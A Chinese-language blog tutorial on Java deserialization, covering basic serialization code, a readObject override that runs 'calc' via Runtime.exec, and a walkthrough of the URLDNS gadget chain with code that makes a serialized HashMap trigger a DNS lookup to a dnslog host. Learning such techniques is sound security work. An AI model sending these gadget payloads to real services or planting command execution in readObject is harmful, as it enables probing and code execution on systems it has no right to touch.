• java反序列化基础


    前言

    因为之前学过php反序列化,所以对于反序列化的概念还是有了解的,现在学一下java反序列化和php反序列化有什么不同。

    1.序列化与反序列化

    1.1序列化和反序列化是什么

    (1). Java序列化就是指把Java对象转换为字节序列的过程。

    (2).Java反序列化就是指把字节序列恢复为Java对象的过程。

    1.2序列化和反序列化用什么作用

    在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

    反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

    核心作用就是对象状态的保存和重建。

    1.3序列化的好处

    和php序列化一样,当用户在向服务端传输数据时,这个数据仅仅会存在这一瞬间,如何将想要传输的数据持久的保存下来?

    这就要用到反序列化了,反序列化能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中,并且利用序列化实现远程通信,在网络上传送对象的字节序列。

    2.序列化与反序列化代码实现

    只有实现了 SerializableExternalizable 接口的类的对象才能被序列化和反序列化。

    • java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中
    • java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

    Person.java

    
    import java.io.Serializable;
    
    public class Person implements Serializable {
    
        private String name;
        private int age;
        public Person(){
        }
        public Person(String name, int age){
            this.name = name;
            this.age = age;
        }
        @Override
        public String toString(){
            return "My name's " + name +"\nI am " + age +" old";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    SerializationTest.java

    
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutput;
    import java.io.ObjectOutputStream;
    
    public class SerializationTest {
        public static void serialize(Object obj) throws IOException{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
        public static void main(String[] args) throws Exception{
            Person person = new Person("f0njl",22);
            System.out.println(person);
            serialize(person);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    UnserializeTest.java

    
    
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    
    public class UnserializeTest {
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    
        public static void main(String[] args) throws Exception{
            Person person = (Person)unserialize("ser.bin");
            System.out.println(person);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    序列化运行结果:

    可以发现,当序列化的时候,执行了Person类中的toString函数,想一下为什么。

    例如System.out.println(xx),括号里面的“xx”如果不是String类型的话,就自动调用该类的toString()方法,和php中的toString方法非常相似。

    对象序列化包括如下步骤:

    1. 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流
    2. 通过对象输出流的 writeObject() 方法将对象进行序列化

    对象反序列化的步骤如下:

    1. 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流
    2. 通过对象输入流的 readObject() 方法将字节序列反序列化为对象

    3.反序列化漏洞浅析及其类型

    Java提供了可选的自定义序列化。通过重写writeObject与readObject方法,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。

    (1) 入口类的 readObject 直接调用危险方法

    首先我们来尝试一下重写readobject方法来达到命令执行的效果。

    
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.Serializable;
    
    public class Person implements Serializable {
    
        private String name;
        private int age;
        public Person(){
        }
        public Person(String name, int age){
            this.name = name;
            this.age = age;
        }
        @Override
        public String toString(){
            return "My name's " + name +"\nI am " + age +" old";
        }
    
        private void readObject(ObjectInputStream ois) throws Exception,ClassCastException{
            ois.defaultReadObject();
            Runtime.getRuntime().exec("calc");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    先将Person序列化,然后再发序列化,会发现弹出了一个计算器。

    如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现,我们在目标类中重写了readObject,所以当反序列化时,会进入readObject进而执行命令。

    (2) 入口参数中包含可控类,该类有危险方法,readObject 时调用。

    (3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用。

    (4) 构造函数/静态代码块等类加载时隐式执行。

    (2) 、(3)中的情况和php反序列化类似,java反序列化漏洞也是由一个入口开始向目标类跳转。

    4. 产生漏洞的攻击路线

    攻击前提:继承 Serializable

    入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

    找到入口类之后要找调用链 gadget chain 相同名称、相同类型

    执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

    5.URLDNS链子理解

    首先,每一个链子的起点应该都是能够被序列化的类方法。

    下边是大师傅们的利用连

    Gadget Chain:
    	HashMap.readObject()
    		HashMap.putVal()
    			HashMap.hash()
    				URL.hashCode()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    跟一下。

    首先可以看到HashMap继承了Serializable接口,在HashMap.java中找到readObject函数。

    发现了链子中的Hash.putVal,在putval中又可以调用hash方法。

    然后如果key不为空,那末会调用key中的hashCode方法。

    然后就是在URL中找到了hashCode方法。

    如果hashCode等于-1,会到handler.hashCode。跟进hashCode。

    到了URLStreamHandler中的hashCode方法。

    URLStreamHandler中的hashCode方法有一个getHostAddress,然后就u.getHostAddress,一次dns解析。

    注意:jdk版本过高会报错。

    SerializationTest.java

    
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutput;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.HashMap;
    
    
    public class SerializationTest {
        public static void serialize(Object obj) throws IOException{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("feng.bin"));
            oos.writeObject(obj);
        }
    
        public static void main(String[] args) throws Exception {
            Person person = new Person("aa", 22);
            HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
            // 这里不要发起请求
            URL url = new URL("http://q6filp.dnslog.cn");
            Class c = url.getClass();
            Field hashcodefile = c.getDeclaredField("hashCode");
            hashcodefile.setAccessible(true);
            hashcodefile.set(url, 1234);
            hashmap.put(url, 1);
            hashcodefile.set(url, -1);
            serialize(hashmap);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    然后进行序列化和反序列化即可。

    image-20221113100128564

    成功触发dns解析。

    总结

    java反序列化过程是先把文件序列化写入一个bin文件内,然后又在其他位置进行反序列化,入口函数一般为readObject。

    一般都会去找jdk自带的公共库文件及库函数,然后进行文件之间的跳转,直到达到自己的目的为止。

  • 相关阅读:
    Docker上部署mysql(超简单!!!)
    VUE3 之 插件的使用 - 这个系列的教程通俗易懂,适合自学
    【docker】docker 、docker-compose离线安装
    Ubuntu中启动HDFS后没有NameNode解决办法
    MySQL索引为什么选择B+树,而不是二叉树、红黑树、B树?
    【21天学习挑战赛】顺序查找
    蓝桥杯官网练习题(算式900)
    【JavaWeb】案例二:一次性验证码的校验
    《探索Stable Diffusion:AI绘画的创意之路与实战秘籍》
    新媒体运营的营销方案
  • 原文地址:https://blog.csdn.net/akxnxbshai/article/details/127829021